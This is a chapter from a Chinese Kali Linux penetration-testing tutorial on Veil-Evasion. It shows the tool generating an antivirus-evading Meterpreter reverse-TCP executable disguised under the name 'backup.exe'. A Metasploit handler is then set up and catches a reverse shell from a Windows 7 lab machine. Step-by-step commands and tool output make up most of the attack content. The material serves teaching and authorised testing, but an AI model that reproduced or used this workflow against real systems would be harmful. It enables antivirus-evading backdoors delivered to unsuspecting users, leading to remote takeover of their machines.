Kail Linux渗透测试教程之免杀Payload生成工具Veil,Veil是一款利用Metasploit框架生成相兼容的Payload工具,并且在大多数网络环境中能绕过常见的杀毒软件。本节将介绍Veil工具的安装及使用。
在Kali Linux中,默认没有安装Veil工具。这里首先安装Veil工具,执行如下所示的命令:
root@kali:~# apt-get update && apt-get install veil
执行以上命令后,如果安装过程没有提示错误的话,则表示Veil工具安装成功。由于安装该工具依赖的软件较多,所以此过程时间有点长。
启动Veil工具。执行命令如下所示:
root@kali:~# veil-evasion
执行以上命令后,将会输出大量的信息。如下所示:
=========================================================================
Veil First Run Detected... Initializing Script Setup...
=========================================================================
[*] Executing ./setup/setup.sh
=========================================================================
Veil-Evasion Setup Script | [Updated]: 01.15.2015
=========================================================================
[Web]: https://www.veil-framework.com | [Twitter]: @VeilFramework
=========================================================================
[*] Initializing Apt Dependencies Installation
[*] Adding i386 Architecture To x86_64 System
[*] Updating Apt Package Lists
命中 http://mirrors.ustc.edu.cn kali Release.gpg
命中 http://mirrors.ustc.edu.cn kali/updates Release.gpg
命中 http://mirrors.ustc.edu.cn kali Release
命中 http://mirrors.ustc.edu.cn kali/updates Release
命中 http://mirrors.ustc.edu.cn kali/main Sources
命中 http://mirrors.ustc.edu.cn kali/non-free Sources
命中 http://mirrors.ustc.edu.cn kali/contrib Sources
命中 http://mirrors.ustc.edu.cn kali/main amd64 Packages
命中 http://mirrors.ustc.edu.cn kali/non-free amd64 Packages
命中 http://mirrors.ustc.edu.cn kali/contrib amd64 Packages
获取:1 http://mirrors.ustc.edu.cn kali/main i386 Packages [8,474 kB]
命中 http://http.kali.org kali Release.gpg
命中 http://security.kali.org kali/updates Release.gpg
命中 http://http.kali.org kali Release
……
忽略 http://http.kali.org kali/non-free Translation-en
下载 17.8 MB,耗时 20秒 (859 kB/s)
正在读取软件包列表... 完成
[*] Installing Wine i386 Binaries
正在读取软件包列表... 完成
正在分析软件包的依赖关系树
正在读取状态信息... 完成
将会安装下列额外的软件包:
gcc-4.7-base:i386 libasound2:i386 libc-bin libc-dev-bin libc6 libc6:i386
libc6-dev libc6-i686:i386 libdbus-1-3:i386 libdrm-intel1:i386
libdrm-nouveau1a:i386 libdrm-radeon1:i386 libdrm2:i386 libexpat1:i386
libffi5:i386 libfontconfig1:i386 libfreetype6:i386 libgcc1:i386
[*] Cleaning Up Setup Files
[*] Updating Veil-Framework Configuration
Veil-Framework configuration:
[*] OPERATING_SYSTEM = Kali
[*] TERMINAL_CLEAR = clear
[*] TEMP_DIR = /tmp/
[*] MSFVENOM_OPTIONS =
[*] METASPLOIT_PATH = /usr/share/metasploit-framework/
[*] PYINSTALLER_PATH = /usr/share/pyinstaller/
[*] VEIL_EVASION_PATH = /usr/share/veil-evasion/
[*] PAYLOAD_SOURCE_PATH = /root/veil-output/source/
[*] Path '/root/veil-output/source/' Created
[*] PAYLOAD_COMPILED_PATH = /root/veil-output/compiled/
[*] Path '/root/veil-output/compiled/' Created
[*] Path '/root/veil-output/handlers/' Created
[*] GENERATE_HANDLER_SCRIPT = True
[*] HANDLER_PATH = /root/veil-output/handlers/
[*] HASH_LIST = /root/veil-output/hashes.txt
[*] VEIL_CATAPULT_PATH = /usr/share/Veil-Catapult/
[*] Path '/root/veil-output/catapult/' Created
[*] CATAPULT_RESOURCE_PATH = /root/veil-output/catapult/
[*] Path '/etc/veil/' Created
Configuration File Written To '/etc/veil/settings.py'
以上信息只有在第一次运行Veil时,才显示。在此过程中,初始化一些脚本、软件包列表、更新配置及安装需要的软件包。在此过程中以图形界面的形式依次安装了Python及它的两个模块pywin32-218和pycrypto-2.6。下面依次进行安装。首先弹出的对话框,如图4.1所示。
该界面是安装Python的初始界面。这里使用默认设置,单击Next按钮,将显示如图4.2所示的界面。
图4.1 Python初始界面 图4.2 选择Python安装位置
在该界面单击Next按钮,将显示如图4.3所示的界面。该界面提示C:\Python27已存在,确认是否要覆盖已存在的文件。这里单击yes按钮,将显示如图4.4所示的界面。
图4.3 确认Python的安装位置 图4.4 自定义Python
在该界面自定义安装Python的一些功能。这里使用默认的设置,单击Next按钮,将显示如图4.5所示的界面。
图4.5 安装完成 图4.6 安装pywin32-218模块界面
该界面提示Python已经安装完成。此时单击Finish按钮,将显示如图4.6所示的界面。
该界面是要求安装pywin32-218模块。这里单击“下一步”按钮,将显示如图4.7所示的界面。
图4.7 设置向导 图4.8 准备安装
这里使用默认设置,单击“下一步”按钮,将显示如图4.8所示的界面。
该界面用来确实是否要开始安装。如果确认配置正确的话,单击“下一步”按钮,将显示如图4.9所示的界面。
图4.9 安装完成 图4.10 安装pycrypto-2.6模块初始界面
从该界面可以看到pywin32-218模块已经安装完成。此时单击“结束”按钮,将显示如图4.10所示的界面。
该界面提示需要安装pycrypto-2.6模块。这里单击“下一步”按钮开始安装,如图4.11所示。
图4.11 设置向导 图4.12 准备安装
这里使用默认设置,单击“下一步”按钮,将显示如图4.12所示的界面。
该界面提示将要安装pycrypto模块。这里单击“下一步”按钮,将显示如图4.13所示的界面。
图4.13 安装完成
从该界面可以看到以上软件包已安装完成。此时单击“结束”按钮,将显示如下所示的信息:
=========================================================================
Veil-Evasion | [Version]: 2.4.3
=========================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
=========================================================================
Main Menu
24 payloads loaded
Available commands:
use use a specific payload
info information on a specific payload
list list available payloads
update update Veil to the latest version
clean clean out payload folders
checkvt check payload hashes vs. VirusTotal
exit exit Veil
[>] Please enter a command:
从以上信息中可以看到在Veil下,有24个攻击载荷可加载,并列出了可用的命令。现在就可以进行各种操作了。例如查看可加载的攻击模块,执行命令如下所示:
[>] Please enter a command: list
=========================================================================
Veil-Evasion | [Version]: 2.4.3
=========================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
=========================================================================
[*] Available payloads:
1) c/meterpreter/rev_tcp
2) c/meterpreter/rev_tcp_service
3) c/shellcode_inject/virtual
4) c/shellcode_inject/void
5) cs/meterpreter/rev_tcp
6) cs/shellcode_inject/base64_substitution
7) cs/shellcode_inject/virtual
8) native/Hyperion
9) native/backdoor_factory
10) native/pe_scrambler
11) powershell/shellcode_inject/download_virtual
12) powershell/shellcode_inject/psexec_virtual
13) powershell/shellcode_inject/virtual
14) python/meterpreter/rev_http
15) python/meterpreter/rev_http_contained
16) python/meterpreter/rev_https
17) python/meterpreter/rev_https_contained
18) python/meterpreter/rev_tcp
19) python/shellcode_inject/aes_encrypt
20) python/shellcode_inject/arc_encrypt
21) python/shellcode_inject/base64_substitution
22) python/shellcode_inject/des_encrypt
23) python/shellcode_inject/flat
24) python/shellcode_inject/letter_substitution
从输出的信息中,可以看到有24个可用的攻击载荷。此时可以利用任何一个攻击载荷,进行渗透攻击。
【实例4-9】演示使用Veil工具中的载荷(本例以cs/meterpreter/rev_tcp为例),进行渗透攻击(这里以Windows 7作为攻击靶机)。具体操作步骤如下所示:
(1)启动Veil工具。执行命令如下所示:
root@kali:~# veil-evasion
执行以上命令后,将显示如下所示的信息:
=========================================================================
Veil-Evasion | [Version]: 2.4.3
=========================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
=========================================================================
Main Menu
24 payloads loaded
Available commands:
use use a specific payload
info information on a specific payload
list list available payloads
update update Veil to the latest version
clean clean out payload folders
checkvt check payload hashes vs. VirusTotal
exit exit Veil
[>] Please enter a command:
在输出的信息中看到[>] Please enter a command:提示符,就表示Veil登录成功了。
(2)选择cs/meterpreter/rev_tcp攻击载荷。在攻击载荷列表中,cs/meterpreter/rev_tcp载荷的编号是5。执行命令如下所示:
[>] Please enter a command: use 5
=========================================================================
Veil-Evasion | [Version]: 2.4.3
=========================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
=========================================================================
Payload: cs/meterpreter/rev_tcp loaded
Required Options:
Name Current Value Description
---- ------------- ---------------------------------------
LHOST IP of the metasploit handler
LPORT 4444 Port of the metasploit handler
compile_to_exe Y Compile to an executable
Available commands:
set set a specific option value
info show information about the payload
generate generate payload
back go to the main menu
exit exit Veil
[>] Please enter a command:
输出信息显示了rev_tcp攻击载荷可配置的选项参数。这里默认指定的本地端口(LPORT)是4444,LHOST选项还没有配置。
(3)配置LHOST选项参数,并查看攻击载荷的详细信息。执行命令如下所示:
[>] Please enter a command: set LHOST 192.168.6.103
[>] Please enter a command: info
=========================================================================
Veil-Evasion | [Version]: 2.4.3
=========================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
=========================================================================
Payload information:
Name: cs/meterpreter/rev_tcp
Language: cs
Rating: Excellent
Description: pure windows/meterpreter/reverse_tcp stager, no
shellcode
Required Options:
Name Current Value Description
---- ----------------- ------------------------------------------
LHOST 192.168.6.100 IP of the metasploit handler
LPORT 4444 Port of the metasploit handler
compile_to_exe Y Compile to an executable
从输出的信息中,可以看到rev_tcp攻击载荷的详细信息,如攻击载荷名、语言、级别及配置的选项参数等。
(4)此时,使用generate命令生成载荷文件。执行命令如下所示:
[>] Please enter a command: generate
=========================================================================
Veil-Evasion | [Version]: 2.4.3
=========================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
=========================================================================
[*] Press [enter] for 'payload'
[>] Please enter the base name for output files: backup #指定输出文件名
在以上命令中指定一个文件名为backup。然后按下回车键,将显示如下所示的信息:
[*] Executable written to: /root/veil-output/compiled/backup.exe
Language: cs
Payload: cs/meterpreter/rev_tcp
Required Options: LHOST=192.168.6.103 LPORT=4444 compile_to_exe=Y
Payload File: /root/veil-output/source/backup.cs
Handler File: /root/veil-output/handlers/backup_handler.rc
[*] Your payload files have been generated, don't get caught!
[!] And don't submit samples to any online scanner! ;)
[>] press any key to return to the main menu:
从输出的信息中可以看到生成一个可执行文件backup.exe,并且该文件保存在/root/veil-output/compiled/中。此时将可执行文件backup.exe发送到目标主机上,就可以利用该攻击载荷了。
接下来需要使用Metasploit创建一个远程处理器,等待目标主机连接到Kali Linux(攻击主机)操作系统。连接成功后,就获取到一个远程Shell命令。
【实例4-10】创建远程处理器。具体操作步骤如下所示:
(1)启动MSF终端。
(2)使用handler模块。执行命令如下所示:
msf > use exploit/multi/handler
(3)加载reverse_tcp攻击载荷,并设置其选项参数。执行命令如下所示:
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.6.103
LHOST => 192.168.6.103
(4)启动渗透攻击。执行命令如下所示:
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.6.103:4444
[*] Starting the payload handler...
从输出信息可以看到攻击载荷已启动,正在等待连接目标主机。
此时将前面生成的可执行文件backup.exe发送到目标主机(Windows 7),并运行该可执行文件。然后返回到Kali Linux操作系统,将看到如下所示的信息:
[*] Sending stage (769536 bytes) to 192.168.6.110
[*] Meterpreter session 1 opened (192.168.6.103:4444 -> 192.168.6.110:2478) at 2014-07-17 10:44:47 +0800
meterpreter >
从以上信息中,可以看到成功打开了一个Meterpreter会话。这表示已成功渗透攻击目标主机,现在就可以进行一些Shell命令。如进行目标主机的Shell环境,执行命令如下所示:
meterpreter > shell
Process 1544 created.
Channel 1 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ�
C:\Users\bob\Desktop>
输出的信息表示进入了目标系统Windows 7的命令行,并且当前目标系统登录的用户是bob。
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